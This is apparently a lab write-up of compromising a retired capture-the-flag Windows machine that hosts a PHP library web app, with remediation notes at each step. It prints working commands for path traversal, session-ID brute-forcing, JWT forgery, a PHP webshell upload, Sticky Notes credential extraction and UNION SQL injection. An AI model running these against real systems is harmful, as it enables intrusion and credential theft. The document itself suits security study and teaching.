Breadcrumbs
Summary
Recon of <retired-instance-ip> showed Apache 2.4.46 (Win64)/PHP 8.0.1 hosting a "Library" web app. The book-lookup feature (includes/bookController.php, book parameter) was vulnerable to path traversal, confirmed by reading C:\Windows\win.ini and then pivoting to read the app's own PHP source: ../portal/login.php, authController.php, php/cookie.php, and php/files.php.
Source review of cookie.php revealed PHPSESSID is derived as username + md5("s4lTy_stR1nG_" + <one char of username> + "(!528./9890"). Since files.php requires username == "paul", the ~4 candidate session IDs (one per character of "paul") were brute-forced by requesting portal/php/files.php with each and checking for a non-302 response — paul47200b180ccd6835d25d034eeb6e6390 succeeded.
fileController.php additionally validates an HS256 JWT token cookie with claim data.username=paul, signed with a hardcoded secret ([REDACTED: recovered credential] found in source). A valid JWT was forged for paul and combined with the brute-forced session cookie to authenticate to the upload endpoint (includes/fileController.php), which enforces no extension/content-type filtering. A PHP webshell (shell.php, <?=$_GET[0]?>) was uploaded to portal/uploads/, giving RCE as www-data — confirmed via whoami → breadcrumbs\www-data.
Through the webshell, portal/pizzaDeliveryUserData/[REDACTED: recovered credential].json was read, exposing cleartext credentials for [REDACTED: recovered credential] ([REDACTED: recovered credential]). SSH as [REDACTED: recovered credential] retrieved user.txt ([REDACTED: flag]).
[REDACTED: recovered credential]'s Sticky Notes local store (%LocalAppData%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite) was pulled over SSH/SCP and queried, yielding credentials for a development account ([REDACTED: recovered credential]). SSH as development exposed C:\Development\Krypter_Linux, a 32-bit Linux ELF utility that POSTs method=select&username=administrator&table=passwords to http://$TARGET:1234/index.php. An SSH local port-forward (-L 1234:localhost:1234) exposed this internal service, and the table parameter was found vulnerable to UNION-based SQL injection, dumping a base64/AES-CBC-encrypted secret from the passwords table. Running Krypter_Linux against the recovered AES key (k19D193j.<19391() confirmed the key was correct; manual AES-CBC decryption (prefix-IV heuristic) of the dumped ciphertext recovered the Administrator password ([REDACTED: recovered credential]). SSH as Administrator retrieved root.txt ([REDACTED: flag]).
Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,80,135,139,443,445,3306 $TARGETgobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 40Exact commands 3
curl -ksS -X POST 'http://$TARGET/includes/bookController.php' --data-urlencode 'book=..\..\..\..\..\..\Windows\win.ini' -d 'method=1'curl -ksS -X POST 'http://$TARGET/includes/bookController.php' --data-urlencode 'book=../portal/php/cookie.php' -d 'method=1'curl -ksS -X POST 'http://$TARGET/includes/bookController.php' --data-urlencode 'book=../portal/includes/fileController.php' -d 'method=1'FixSanitize file-path inputs in the book-lookup feature to prevent directory traversalCritical
Exact commands 2
python3 -c "import hashlib; u='paul'; [print(u+hashlib.md5(('s4lTy_stR1nG_'+c+'(!528./9890').encode()).hexdigest()) for c in u]"for sid in paul47200b180ccd6835d25d034eeb6e6390 paul8761e91dbaf7c8127ec3b8a2b4f9b0a paulc1be0bfd99fbddf26df71ef70b0a7e4d paul35ae3a03ccdaf85c3ae4e5a4a47d1ad4; do echo -n "$sid: "; curl -ksS -o /dev/null -w '%{http_code}' -b "$SESSION_COOKIE" 'http://$TARGET/portal/php/files.php'; echo; doneFixReplace the deterministic session-ID algorithm with a cryptographically random tokenCritical
Exact commands 1
python3 -c "import jwt; secret=[REDACTED: protected value]; print(jwt.encode({'data':{'username':'paul'}}, secret, algorithm='HS256'))"FixRemove hardcoded JWT secrets from source code and store them in environment variablesHigh
Exact commands 3
echo '<?=`$_GET[0]`?>' > /tmp/shell.phpcurl -ksS -X POST 'http://$TARGET/includes/fileController.php' -b "$SESSION_COOKIE" -F 'task=shell.php' -F 'file=@/tmp/shell.php;type=text/plain'curl -ksS --get --data-urlencode '0=whoami' 'http://$TARGET/portal/uploads/shell.php'FixEnforce strict file-type validation and disable PHP execution in the upload directoryCritical
Exact commands 2
curl -ksS --get --data-urlencode '0=type C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData\[REDACTED: recovered credential].json' 'http://$TARGET/portal/uploads/shell.php'sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null [REDACTED: recovered credential]@$TARGET 'type C:\Users\[REDACTED: recovered credential]\Desktop\user.txt'FixRemove plaintext credentials from web-accessible directoriesHigh
Exact commands 4
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no [REDACTED: recovered credential]@$TARGET "powershell -Command \"[Convert]::ToBase64String([IO.File]::ReadAllBytes(\\\"$env:LOCALAPPDATA\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite\\\"))\"" | base64 -d > /tmp/plum.sqlitesshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no [REDACTED: recovered credential]@$TARGET "powershell -Command \"[Convert]::ToBase64String([IO.File]::ReadAllBytes(\\\"$env:LOCALAPPDATA\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite-wal\\\"))\"" | base64 -d > /tmp/plum.sqlite-walsqlite3 /tmp/plum.sqlite "SELECT Text FROM Note"sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no development@$TARGET 'whoami'FixProhibit credential storage in Sticky Notes and other plaintext application data storesMedium
Exact commands 7
sshpass -p '[REDACTED: recovered credential]' scp -o StrictHostKeyChecking=no development@$TARGET:'C:/Development/Krypter_Linux' /tmp/Krypter_Linuxstrings /tmp/Krypter_Linux | grep -E 'http|POST|passmanager|method|table'sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -N -L 1234:localhost:1234 development@$TARGET &echo 'localhost passmanager.htb' | sudo tee -a /etc/hosts && chmod +x /tmp/Krypter_Linux && /tmp/Krypter_Linuxcurl -s -H 'Host: passmanager.htb' -d "method=select&username=&table=passwords UNION select password from passwords-- -" http://$LOOPBACK:1234/index.phppython3 -c "from Crypto.Cipher import AES; import base64; key=b'k19D193j.<19391('; ct=base64.b64decode('<CIPHERTEXT_FROM_ABOVE>'); c=AES.new(key,AES.MODE_CBC,iv=ct[:16]); print(c.decrypt(ct[16:]).rstrip(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f').decode())"sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null Administrator@$TARGET 'whoami & type C:\Users\Administrator\Desktop\root.txt'FixParameterize all SQL queries in the internal password-manager API and add authenticationCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an user-controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH for_Windows_7.7 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 443/tcp | ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1) |
| 445/tcp | microsoft-ds? |
| 3306/tcp | mysql MariaDB 10.3.24 or later (unauthorized) |
| 5040/tcp | unknown recon-sweep-discovered |
| 7680/tcp | pando-pub? |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 49669/tcp | unknown recon-sweep-discovered |